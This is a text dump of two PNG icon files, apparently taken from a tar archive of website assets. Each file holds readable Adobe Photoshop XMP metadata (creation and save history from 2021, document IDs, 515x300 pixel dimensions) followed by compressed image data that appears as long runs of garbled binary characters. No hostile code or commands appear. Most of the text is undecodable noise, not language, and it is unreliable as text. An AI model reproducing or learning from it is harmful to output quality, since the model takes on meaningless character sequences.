xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"
xmp:CreateDate="2021-02-28T18:42:42+03:30"
xmp:MetadataDate="2021-04-19T12:08:39+04:30"
xmp:ModifyDate="2021-04-19T12:08:39+04:30"
xmpMM:InstanceID="xmp.iid:c69b3684-963e-0e42-9b7c-c050ad6de220"
xmpMM:DocumentID="adobe:docid:photoshop:b6d8e2f5-2297-2247-ba62-01d782ee5a18"
xmpMM:OriginalDocumentID="xmp.did:0cf601c2-8342-c442-b65e-8caf31bef885"
photoshop:ColorMode="3" photoshop:ICCProfile="sRGB
IEC61966-2.1" dc:format="image/png"
tiff:Orientation="1" tiff:XResolution="720000/10000"
tiff:YResolution="720000/10000" tiff:ResolutionUnit="2"
exif:ColorSpace="1" exif:PixelXDimension="515"
exif:PixelYDimension="300"> <xmpMM:History>
<rdf:Seq> <rdf:li stEvt:action="created"
stEvt:instanceID="xmp.iid:0cf601c2-8342-c442-b65e-8caf31bef885"
stEvt:when="2021-02-28T18:42:42+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/>
<rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:11432056-a324-494c-896f-7a679d266397"
stEvt:when="2021-02-28T18:42:42+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:968c01a6-3a04-8649-bdfc-0b09db908b9f"
stEvt:when="2021-03-16T12:08:56+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from image/png to
application/vnd.adobe.photoshop"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
image/png to application/vnd.adobe.photoshop"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:6e017e03-77e5-9848-8ebc-bf466dbd47f4"
stEvt:when="2021-03-16T12:08:56+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:91b73f91-fa37-7f4a-8020-654dde56b3aa"
stEvt:when="2021-04-19T12:08:39+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:c69b3684-963e-0e42-9b7c-c050ad6de220"
stEvt:when="2021-04-19T12:08:39+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:91b73f91-fa37-7f4a-8020-654dde56b3aa"
stRef:documentID="adobe:docid:photoshop:9cbcd789-19bc-6649-a45d-7007ec850f72"
stRef:originalDocumentID="xmp.did:0cf601c2-8342-c442-b65e-8caf31bef885"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>87FEABF05939505235737EE42C246F67</rdf:li>
<rdf:li>B3D621D2ABBE919F83ED6C409EEE7F0C</rdf:li>
<rdf:li>adobe:docid:photoshop:636401db-6a2b-ad43-adc7-81e60bf44485</rdf:li>
<rdf:li>adobe:docid:photoshop:957feb56-ceb9-394d-8901-266a5261e4e4</rdf:li>
</rdf:Bag> </photoshop:DocumentAncestors>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>Z�TG�IDATx���y�\ea���K�5�"�Pв�
E�e+��� b��E�Q��@A���I�"�
(R�"�AeQ���D(dˁ��?�$�w�̝�;�{������03g������(
$IR�ֈ@�$�e�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�G� !��1H#��%I��X;Ġ��S�x�V�e@��V��_.���
����bg�>�;vI��$v�~�jx>p5�m�
���X�;H�U����"
I�C�Kb��*���o�B�TY�s�E�s�L�-���$���N����V�;�$) ��+U+��
IJ��7�C�J��,`��!$I��.v�^�Rx^����̊�W�T$I���e@���Y$IJ\
���$I�,� 2������)$I1̋`
�2A�E@��*ˀ$I��2�$E�f��x��ux:v�)�3�$%�2
IR�,�$%�{$�Z��6�S��QB�>�#�F��L��|��]�̀��s"媬��/�$�3�GS�w���ȗWW�������k�A��E��u�-.%d�o>�;�x��eI��K�}�zE~3���~��;S��7(�������E��V}�I~����Q����+T��S䷵��"��?м8�m�In�!�|Y�����y�ΝL����gL��C�2
I��nʛ'�<VߤÃ�9]����ٍ��
��4ܾN�?3�_��l!��x�K�����9�M�~I�þ�<�xpͪ'&���#d���"c�,�4�n�:N�����&dӁW�봹���Q��%
��\�����u֑4ˀ$
���^C��|�����s��M����?_��'���o�0i3��h=��In�ؖ�����e�,q=����E���
p[�d�����b�x-c/Q\�A��9�<��۬ˀ$
�} ٌ�o���_{w-p
E>��!�FYL�ˀ$
�{|�!��OyF`?����g(��!Ҷ+�2
I��TB��������)�88��2GN�}Y�(I�ok�"B6��[
َ�U�π�׆5���g�%-��j�؈�E�/��ZB�9�1p/E�����n� lU+
�g�O�����'/d����j=Z�2
I��*��..~F�7zp���N�<�^x���D�ӽ�r����)G�>c��/���?�{��w/�K���,B��tʧ�=�R�֠qO�8�%m�Nm�HR�̤�����;����e�O���Z����rz�MG}7��W�X��ږr�}"ex�^��v
d�9��g��j�W�yπ$U�3�Z.��_cl��h�ߎ�����>S���G��e@���N�k��K9Q,�;����$e^&��j������bOP�D��r*��@��z���`"����5;\��`��jj�:<����4�ن�k�_RP���k�s�l��2y�e�ˀ$US�;ͻ(o�k�)���7E���K��D�&��6�Y��
��2
I����=_�|�o��O�w�_H����!��/`��"��W�X�xV�o,�TM[�����n��!���~��m�O0�rg>�m���g
6�`�&��LY>&�{y4I�I��`W��+�8
X
�|��ᅋ�VB�:����)��7�N����O�4
8��]E��?��vi;�:棅�T]o�����<ʱ~Ky�eBv5!�!k=X@�?C����a(�)(�(�}(�<�[������l�VM�e@��k'�Q�l��ڻ�)�۽��8��-�����$d�n�;����o�`��Lv_Y$���%d�6�|.�r�ç�'�_���l�Ɛ�G�N
d�6�.�S(�R����{�ei���Z������Y}d��j{1pf��G�ȧ3~�&�w�����ʣ�3��>B9�_g��ꖹ�A�i��l�S!�8�r����]�>k~!TS����0Bvw��JsF����㌝�`y�5�[���Ɣ�0.�Y�SӀ-���!7��l7����m��,R�5�/x
����TB6�"?��~�Q��rl�Z��h��4ƫ��ّ�ݔ��E��`H�1ˀ���������5(���^����ח�v�i�wP�Qp�Cʛ5
��K+��@C�a�B6���f��(hF(�l�[4��X=f�&i������b`7`O���{9��xl娇E�cB�e!�
j�DX�I�l���
�)�;)�[8y�o�<[���#�����)���%�G�Y4�N�ȯ^���O>V���?��1��qq���2
u�"�!t�w����&[(�W�������M
�f��dА:�"���n��w�D�gO7X�~�§,S?�a�q��`��7Ȣ��
�;ivT]�O��h>���;!{��h�6�[f
�lɨe�0���Q˼��2g5�S�-���
M�QW,R
�/R�G�} 8xY��fW�X|��o��p1����2������D��ȟ>1�(M=E����{��$��Hp^
��)G�ke�~ia:�%�V��9K�,R�Аz�r���~i!����Q��e@j³JD��1���e��A�,ˀ4�
h��f�����A���6���w�TY�<+�
�I��M���+(�jheC�9}Β,ˀԄgT�m�D�/����>@����r����0��H��bgS%�J9j�%m-]�����p�%�����o��w���<��N���gPl�aʹVt�Amp�!i�Z��a�\�R���R�|yG�,��7)�9~>�K�:�|� ����;[�z?����8�"�(!�"�o�v-�����I���N���ϧ Y�)�B�I� 8�"�{�k(��M�R���k����>B��:�w9��k�|Em�{���ӺZ�/HR�د�"Э�����1E�_���o'�I~�S�F�z��Cy��)����n��M�i��1ˀT��
5dɂ�#d��P�G����q,R>V�!ri����w��(J��6Ҷ+�2
I��;Q����O��M.!d$d�ݯ���t�۬
ˀ$
�?
tk![��-�f�1�JB��@3�A�H�p�~��v��C�.!{+p3� ��XH�N
d�v��=>��%����6��O��N��~@���rp��P��
�i�7os}����&dߠ�f��V�QΛ�#p
E��.�;gA�,�4���{^C���QI�S��Ytw�a=���C�3��)/+@�#�l����eIn�%d[v�Q��2��K/.A����ƨ�!d�?��+�ݻ̕<ˀ$
���I�2d�P�,�I�8z_Z�c���w`m���,�[�%Qg>D��W!{;pp���2
I�p6!;���h�d�fS�ZxH�S�g
�q
�/!;�L�%�2
I���������6'd�na�Q�C9M� Y�!�+B�Y`>^��&��jyp)p!�XBy�"`.�5��j�^�0Bvp��2�l���H��e��jڈ�a�l�-�C����$%�2
IR�,�$%�2
IR�,�$%Χ $)��bH�:�La��$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�i
P�� )�c�R�rG_@h��$
�e@��������$%�2
IR�,�$%�2 IR�,�$%�2 IR�,�$%�2
IR�,��3�#`����Y���%%��q$�3�q�BKɱH=�<X�1���(N��E�:a�����8ko���x4vI�e@�¦pîp��-vI�,ˀ4I����A���Y$�>M
M�F�hW8�" �
,�$<�_��C�z�2
u�H8����F���+��C+�_bg��^�B�s���.8Ȑ4�g��e�HR/Y��=;�$��e@ꜗ׆YQ�}I�H��=�*�#�sӀ�Chr>���`٦0m�;�4X��-�@� !��0,��G�r�L
u�ٱ�;�b��ˀ�@�#�'�B��2
ՙ�z/H�ˀԹ��HR/Y��h��J�H�>|!vI�%ˀԡ�`�y!̊�C�z�2
5�쉂'`��Ѽ|�PR%X�Z=Q���.\�IU���$��^�"�m����z#i8yf@�@��j��.���y!�y!�A䒤^�HM��TЪ<3���͔�I�P�2�4������x\������g�68���*�H-�{�@���e@j���z�g)�f��d!����ۘ�RJ�e@��B`)Ni<�&�:�r'2���`A�r����"
�e�&�~��FҰ�2�$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��;�T1/vI�"�b�$)�*]&�c�$%���z�Je` �,vIR2~;@�T�,�B����c�*��/�
IJ�=�ͱC�J��|`i����;X;D�T�<;�$�����KU+���B�TI�R��P�2ppB���JY�X9G�U����O����v�A櫀{#g�P��7!L����ߌ��k����>vI��Y
�x*v�IxXLyF����)P6�#��{�R�$
�c�E�G��lU.�
IR,�|���Nt�q��X$I����/Ǐ��ٙ�ÀLR<\�1r�����D�"i�w�A�2�-p�G+
���1�
Cl�
̋DP��p{�2�`�8�$����]�b�N�B���m�ۢE�ԭ��ц(/H�o���%��^Y;@�Ώ@�*֗���Đ�+7�Ц�L�*U��e`�(1$�ʊ���t��V٢�8��4ܶ��Msb����20�C�Թw�Ц�c����2�(F
I=sS���À=c���ʢ�2��)$���;ܩf:�0�;��1~^?���H~��Dlq�3(�=��$rI�X_���`%IJ�=���/,N�F�$
މ��f�^�7�H�TeW{A�)�g��t2I��w�7��_&X��BW
(�$I��U�y���^���%��%I��l �>}/Fh~����?�/崣>m
I��w��r��F�[Y��p�$��ڞb`L�$I��I��ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I���c�G+A�IEND�B`�assets/images/icons/courses_catid.png000064400000062102151165724360013776
0ustar00�PNG
IHDR,^ɰ) pHYs��
"iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"
xmp:CreateDate="2021-03-08T10:31:22+03:30"
xmp:MetadataDate="2021-05-09T16:40:43+04:30"
xmp:ModifyDate="2021-05-09T16:40:43+04:30"
dc:format="image/png"
xmpMM:InstanceID="xmp.iid:58ca9fb0-d11b-f642-9459-e0837157d2df"
xmpMM:DocumentID="adobe:docid:photoshop:1c683fd1-79c1-df48-aa69-bbdc9343bac4"
xmpMM:OriginalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"
photoshop:ColorMode="3" tiff:Orientation="1"
tiff:XResolution="720000/10000"
tiff:YResolution="720000/10000" tiff:ResolutionUnit="2"
exif:ColorSpace="65535" exif:PixelXDimension="515"
exif:PixelYDimension="300"> <xmpMM:History>
<rdf:Seq> <rdf:li stEvt:action="created"
stEvt:instanceID="xmp.iid:9c2e6c2c-3107-b942-9911-dfc136b5d226"
stEvt:when="2021-03-08T10:31:22+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/>
<rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:c160889f-53c2-914e-93a2-1265e0eeda00"
stEvt:when="2021-03-14T17:57:35+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:6666de99-311e-3b4f-8e94-42513e840f1b"
stEvt:when="2021-05-09T16:40:43+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:58ca9fb0-d11b-f642-9459-e0837157d2df"
stEvt:when="2021-05-09T16:40:43+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:6666de99-311e-3b4f-8e94-42513e840f1b"
stRef:documentID="adobe:docid:photoshop:d526789f-ac79-cd4a-9a0d-16d02b8f7148"
stRef:originalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>02BADA668A33CACE5D5C37ECF58E339A</rdf:li>
<rdf:li>1A38270A084735E599E742D9E28247A9</rdf:li>
<rdf:li>44255DDB773950C46F80D1450CF0DBDC</rdf:li>
<rdf:li>5C2EDD4900F484FECE3D7A155E1CC32F</rdf:li>
<rdf:li>87FEABF05939505235737EE42C246F67</rdf:li>
<rdf:li>B3D621D2ABBE919F83ED6C409EEE7F0C</rdf:li>
<rdf:li>adobe:docid:photoshop:636401db-6a2b-ad43-adc7-81e60bf44485</rdf:li>
<rdf:li>adobe:docid:photoshop:957feb56-ceb9-394d-8901-266a5261e4e4</rdf:li>
<rdf:li>adobe:docid:photoshop:e6e905c0-be21-184e-9ded-ccdf32c966f9</rdf:li>
<rdf:li>xmp.did:0e81e14e-1626-5f4f-bc06-99053d67e78e</rdf:li>
</rdf:Bag> </photoshop:DocumentAncestors>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>�i��V�IDATx���w�T���}��)[aY��bbW�IԐĘ<��$1]c�����Qv��Fvi�Y�ò�L9�qf��ea���=�3��u�%;sf�wq��9wUZk�B���B!��$!�YNB��$!�YNB��$!�YNB��$!�YNB���?(�ܬ��h�3!�-��n�U��a\��� B!Dk���g��p��{dX�@�;�n"���[����B:��:#�@��0�B�1��w�]H�eb��C��B��q%��E�R&��W�]�B��U
�6�\G�h�3jj��HBѹr���."�2)|���Bd�ˀ^n�J��u�!�Y!��v��)a
�vB!���n�J���]�B����v��)a@!��J>�H% B!D��0
�Bd9 B!D���]ۤa2bF!��M1��p���i"B��$�2:�E�����Z��%�[�T�7~LZ��OE7��ٟ;�|��%�C�j�%���0
�~5��w�E?��Wg�` A�0
�~��R�$!D�^�#U(�p0 �
�}MX
<,�'\�s�����v����w@��/��J|���"3�܌��:�Q�<�8�+�:�����ё��Pf��-Pp0o^����7���Fk-3�"�=
\�jБ�s�w;���PL@G��oБ:t��`cה�YҹIH�A������16m9K�����WёH�_�#(s&���Y��Q=p):��ͯБ�P��`g��$э5�����`��F�[�y��
�|�a(��|J碚|��(a!�h�G�H���2�e� �3�U��Б��U:�I��[S_R�0
D7����hB(J���%ދs����˻��}
v+σ0�B��8��4`��A�F�B�k��l���oCSS�A+�ށ���[7�
B���ſ،�ljK���7�"EY����(�;`·�l`��)�_�AҨz�U���~��B?�"
ě<��jtb ]�it�-9�e:R�2?�����Ʌ�pB¡�o������^m���:�
e>|�5f B����Xh4��5ڃ� ��jп�ù��L<\
l�Z�v�?K�'�QJ��L�,C�.k��(�K�(�[�
cdB�Z����5�=t��}�Q�8�
\��=�ᄕ�-���q~�;ju
�#kH�E��W��`����A��@����N��f7jN�u���7�R�0
x�8af�B�!Ng��n<GQ�x^�AJ�w�t��<��A�w?�;���n�#�ǧ#K���I�d B�
nI4�{p�>�_N?���s�ߤ�^ ������!�F����N+�/�zpe��?cQ�F=H(H��]v&Y
\�2��tX���Бv��N��-�0
D�7,�`ഭ�!�g�WX����Si�h�w�d�'���`����.ql�ƃ
D�Yxu}ٙ�T�����<�2��txR��W���w��.��ے0
D'K��Y�V�@�
��ρW����F�Z��,$�D)�$���~�܊E�'����o'�����V��SMGV��{p�k�e�ez�Ӻ��ݘ�!:I��pZ*�Z�鷁�Z�'ܩ.=4
@K�R��`p:@>�;3�(���vÀ����eN�Y�����Y.��[�0
D���ƃ<@Ab
`�xg��6w�L?Z�\�T8j�3��(�+Ѯ�|dI(h�;P�k�Hu��M���83f���p����
H"E
T8C꫁=��pZ�i�������WJ�;1+arp3q m7xe^��TtꙔy��p&:��x�����
a@���8N0qnG"@℀��؍i��R3�]$�)@_��-t�v��2���-�Ȇf�
<||�2�q���v���2�����\�77u�}��la�la,��~l4pS�;��ab�qB���U���RW�rػ$�l ���i�� :��M�R�8�8w�a�_�p.����Ϊ�%83d���@����,����83�ǽ��͛+)�H����6�������X���?�pC�;
E��2�8!�1��
J�$Z
z$��5N(P�
����[=J�G��h�n@R 0���|^����6m��̇�qf����'H7��>lnl4E��@��Wk�ف^+R��`��ɕ�7��@�2����x��h_����?P�Wё�v�A@�%�Z�h������Kv����wh���Z_�P �j�e�n"��L4�N3k��{;���I����2
D+�!�i��͂�+�֥n�&Z�%8k��wQ
�Ϥ���-m��pt�Q����v����$�a5c��و�X��I�A�؏{�Q8w�>�O�2�p����Jt1��{J���
\�D(��44h���M*��_+p.��ёz�y
p
�lu+"�/ $a@�܋ݰr`�ր��֩�Vt�DP�@)u_�/D1�xb�go���^4W��kIg�������R��q�j�_��m8�O���h&��Uђ���z�5����3%t/��_��OX8��foX&:K�u�ǁ��w�,�s8:r:rw�A@�����8o����H�@JHˀ �cS�H�aB5pB�?ZtCZ뷁��R���D+A>^*��n�1(s:����f�w�_�{۸>��b��R`�'
��Y�����<�ʹ�mC=�
$��P�~���z�۵���Z/QJ
/G?��_����l��}-s�����w�3֑�Q���K��EG�j�<
gѢ��l�Ԙ��| ٹ�k�����eտ!Z�88��Wq J�
�����a�Erk��6�<�r�܀ӫ��~.�|e>�2[_�@Glt�� -���|��\����\A���)s<pt������Y2xi�
��~�բD�SJ,u8+fY���Ȃ}Uf/�V�|�}��};���*3X�,7�L�1px�W�kq�!e��ӕ�!���aV���X2��
�m�@���t�"γ��Bp�,h���q�8��=o$.�Rf!�ʼ���ʼg��(�M��g߄�F��ݿ2gg�X�h "�ͳ�e��Q�:��
�]��+���PL%�3ٳj�p�O-<�B�e�k����yʼX��#�l>��x�'8���2�4;fy�x�ߣ̽�
���#Hsn*IY%�p)qr�
n^Fi���]��zZ���=���T�
Kg��P��k�g�`C����;�����������<��f��oA�3��Pf^�{�)$� D�8�@��.�&\����Rjv����䪓Y���(Ӈ��2�}���q�8���hޟ��F�þ�?��;�58�/��/�bH�2�7]�7�8Ok=���DZ�Z?��>���eQ�/Pf24�@�����v��1my8kLę�����C�e@d�d�&A
%���,�n/9*��R�d
�gQA9�3���z�o���G(s"�P�vA�(�Åhdƀ8��2�'gI��8[�?`L���QT3Ϊ�:�>p�*�"Ťe@d��t
TPJ
n�Y:��ߌ��[�nK��sm��h���&�ܒ������j�rl{�;��=��k�~-=g�Le�x���Z�EY�B`7�#_�L��'�.��f��ud ʜ��B��ZEH�XEС
�0�.eE��\�sA�%mS�"�kxW�>e�ߣ#{���2���3n�Wu�Ϛ|�#Q�q�J)�Q1W�������>�ԁ���_���T�&Z�3��V�?��7���L;̠��V�i��w��۲���Z�t��͎$����q���
�^fw�����/�=���#s��y�R��i���@
���f�|�a��x���[)�m������������ǃ֚SN9��S8�ͮ
Pg_J���2���Q�CG�Zx|-���N�!�NW����m�ra��c��l��:�`���Z^Q "�4^b���
��ֺ��ZD(�?���z
��[\u���_s�����:E�4Z�g�R��ѳrᦩ�;^fu�@����֑ʼ����p.ʬco/��f���(s{�cZ�n8eڍ�9��c��ߟBG>F�����{�h3 "c4�t��� M:�)�_�?0��W��տr�5��2}�Trrd<S��M���3����$~}Kb@a7
��#���{�8��犀�Zyx��c~���/�zW�#HH�n��,Ds�g$&��KX�?�|�{���~}��y䑔�lJ��D�Z��V���B���W�|VGj��uM)�U|���
�z�}�$D;H��́E�w�1c���n�~�Yg�qӗ�uZ��֥��*���
�-�=jpV�k;�a��'s�fP�ɵd ��K�
$f���
)l�2�?����Ϝ�g�/?�@@�fi9#����*��۽ZJi�8��;��V���6W�pDI��}�
�a�`Gf��
?��˿h��K/a�ȑ��I�e�v��Ԛ]�桘�A[4߂�
c�p�"MCcw#a@t[�asq<4t���CA�����ԓO4y|ܸq��Wtu9�h��/G���h�I�;��6X׆c@���D��������Z�߃;�ף8��cx��<~�ǰ~}�-�E&�Z�N�ЭnMC�<K����n�3��5����\KV�0
���w���C
̀C�x�GM?眳��C�r��DZ�%����G�i��#��R���Ȫ6w5���b�����4^O���� �F��QX����hx|���y�R��H������;|��jߣm:ZGn�t��v����c.p}���b�m���^�8{XY�hF�R���k�[�Pq�R���\G�~C��k���X�b~���d
���J�q5��$-G=n�<���[;� �e>��V�#� Ϣ��p`<0g�e��6���_�#�@���$�ruޏ���MG��2�
�����D��l�GQ��+�Z��
α'����q��i
O�;�^c��!.(RIk�L)�BuQ��N�p%:��8ud����,I|�K�7�~�����u��W�鈕8�E(����,!BZ��
��
`��=��%��P6�?�7�l���9�Ͳ�+\�Jt��{ЄH�� 7S::J�����$t�#��N?O�0
���G��୴��f��A|��'M�|�$>�|�KU�T�Z���L�3~��lq���&�]��ёv�yu�o���8
�[H�
4Z�t�{�<���>_ִ5`��y��{��n�[�_.���h�fA�C����ܸS���aE�-$�nCѰ���݊B��b�Z��`��?��8�è��t�8�JO�A�q���D�|�S淁?��+5�"�5���-Ii�ٚI�A�m���;a<o��F��>�hJK۲l�Hg�����]�x�'E�7I|�E�?D�]{�qv;\ܥ���$���q.��A�sݭ&5����W'�p<�֭���i���n����Ҿ�KϦ�B�y?��f���/�́]ZӾ�#��0
�Zr��F;v���]M)M�^E|��j~��_4<~��0r�Hb��{ʼn�Z�,4qm߂�o4Ԗ�ye��k������P��P���6i��C��uD���;v���5�<�j�����\��ܘ1cX�t)�`нEG̮��]Z^jo&�=���\�KqZkz�,�s,�6�C�~E�/���gp�@�g�!(��7�$�Ut���/{ "m%[@�wcG®�pZ N<i</���Q�s�ƍ��_g���'�Gk=W)u�'�J,Dtc�5�N�o���i�Cp�$��,���|:��P|%�P�3c8�[�yG�1|}V�n���'v�U��[�Ҍ1���n�ĉ�쳥�~~�)f���]�i(sT^-NH2qv,&]M�\�}��e���^���v���"a@��d�@��5��#�V�5�~��a���N��~��W�t���7��O��0�_�����Y>�M�tl%��В�$���F^�'��
�R���<V�\��zg��3/�&[!wO��q>l�xz�e�U�N�
��)��̋Z?�e~���r2���vZXW��k�jJi|>�sϟ�?����Og��n��b��Z��Eqq��ڙC���L_�G*�g��^U�8��=(�k�?:��&a@��f�
<�n5�Q��4��v?��-
�oذ���D{�S�w�����S��9e�{�9e~������&�/(s���<e>܇t���&i�~lnL�
H,=����
�j�����h�)�~��saf��8�z�\lǹ��G��<����P�s�r`N�E�Q��x�q�$���~{��^�{Iխ��j�V�zsl_�)��Qp��Ed*��i��/eԽ*����D�턦��HD�HL,=�tb×4!w�c���WLw70�ED�h6p0ͦJˀH�ٕ�$�$���\d��
�M�U#D��
�QO3b�$���اo��z������>R�=e������w�!��0
҂��~O����@aYV�w�%w�B�Ԓ0
�B�x��G�U���h--��Np�u˰T�.$��w��v�����
!��D�q���/�D�0 \��E�
A@$e���v�$�)��� []+D��LQp~�L�!E�!a@��^lf'�|$��Z��]��-��֟rP�U
҂����r���\����L�t���iBp�M�_k��J>�E�q"H���d�L/
��kd-8�2n@�MpMr ��Q���z��5����a@k�1�i@p]b���.�!�O6|>=+�D:ȆlB��4�@��Bt �5�k�!�.�
k��e�p���E�͉J]+D��lh��}
DZ�0
\�<v>�-�[��W������w�d�p���r�q�!��h�ۋI#r�S!��e�h��Bd. Bt�b��d�p���
��4�ܿ�eB�y$Wԡ/C\�^%m�}c-��Jò��,�=�Ap��8ȶ�ifժU�1��>�����SYY�vI��aza�(����"D�F�GQ���ֺ�d���.\�m���ԩS����~FQQ�{�f̘1�B�N�g�ĉ��~��TWWc�&�H۶�۷/^x!������`�������D"��
�P���z��0O=�T��}0�֛�R�6Q����� ��݇�_�:��n5`Ϟ=,X�����'�=&����:���9��C:t(yyy����.5S�b��5CP|MmE�0
\S�g��U�Uf6������}���G���b�6�e�Dظqc�c|�}���[oe�ȑ@�;���2�Nw���$�}�vm�ݜ�
b�6K�,᪫�j�����������۶�F�TWWcY[�lirܯ��&��t�M0h�
N8�rrr�x<�}l�^(�#a@��F�|D/[��ɓ'��G���0��>y���bb��H�x<Ά
��=����]w�{,#F�
77����0B���0
āy���Oeݺu������n��i��zO�~���@~~>�ea�6�X�ի��r�l��0y�d�>�hЮ��?��ݵ]@kMYY�?�<��~{��Ǝ�i�(��n�0�L�䨣�Bk�eY��֢�f���M^���������mg�@
!Ґ�!ڠ;^�JKK9��y��C��4�R
��a����QG�m���ql�f�ʕM^ӷo_����B���oh�W$v����N/\�,#a@�SQQ�'�|����h h���a|��G��۶�m�֚������/H���.UJ-�m��T�T��K��L����O>��������Ç'��\��u�B�{<���ά��;���ܢ�ڵcǎM>�o�m��c��g�a�RJU*�ʕRu�h; Bts�e�f�.��&�<���<�ގ�3W8K�(<�&]&]5�"��$�
��b��cà��&��xv��>�~,���_��])Uj� B쟄!�
]nܸ��'6yl�t8�"ʠ�0����Ư5>[����+������b�[���W__*�����k�֫��۶��0�wq�!�0
�����*�`��4@�5%%%���{���?ox���6L��X(*�����
G���5�4��Scx�
���1��W�}��:;$$��۶���=8���j�a�J�'�k;�$!� Bt{/�����:�ɳ�|:����x�)őu��ع� �E�Ty=l���0��2��d��c��ODyP|Z��N�A2
$��Jr�R
�5�h4T^^~Q�"�H�h���on��#��,|���Zà��_,ʔ�]L߹��u�
��,
bu�����kP��Q��&de0��@����U1��p`k����:��*++��b����0`�m����r��=���n�>|�p��pJ�7p��x���W���e;wsXM-~����M(�����SF��C����dM(��@�
��V��:�C���.�a�F)++c��<���������;��BtK���Ė��z��o߾)�T��fbUW���Մ��
�X6˦(cxm��+"�A�Pl��|�aڝw��\u���ŦM�f�|���+����˗/��s ��$���t��JY�Qh�ݱ�3�*ȉ�S��I� Y��9��O���wR�ZS[[�R�:��"_��W�SO=5w]{��N��o~�N9�ݝ�ᶡ8+ʥ�t��1�Ģ�ؽ��*+��q��0#�=,�X�p�\Г:�
`Y��E�F�F�z���љ3gZ�&M����q��+��`4���ΞC�.@d7 �5A�fsܮ�5���ݚԇ��mQ��pg����/}�QF��2���A�z���c�6~��s��
6�&O�*��^El��Z!�J�O��²,,�"�����ؔ)S�ӧO����/4Q�I~�ƫ0�
��YK�r7b��g�ԡW�]O��W6�^֚���ã59�ŐH=���]Wá��E���,r,�~������QX��z�aE0Dв��zHEHN���#�ꂂ��ώ]�����3q.����x:Y@�r-����!�Cp�Hqg��ާ���&�
�g�$�)�Q�
�x�,��\���mQw���eH}�A�z�#1
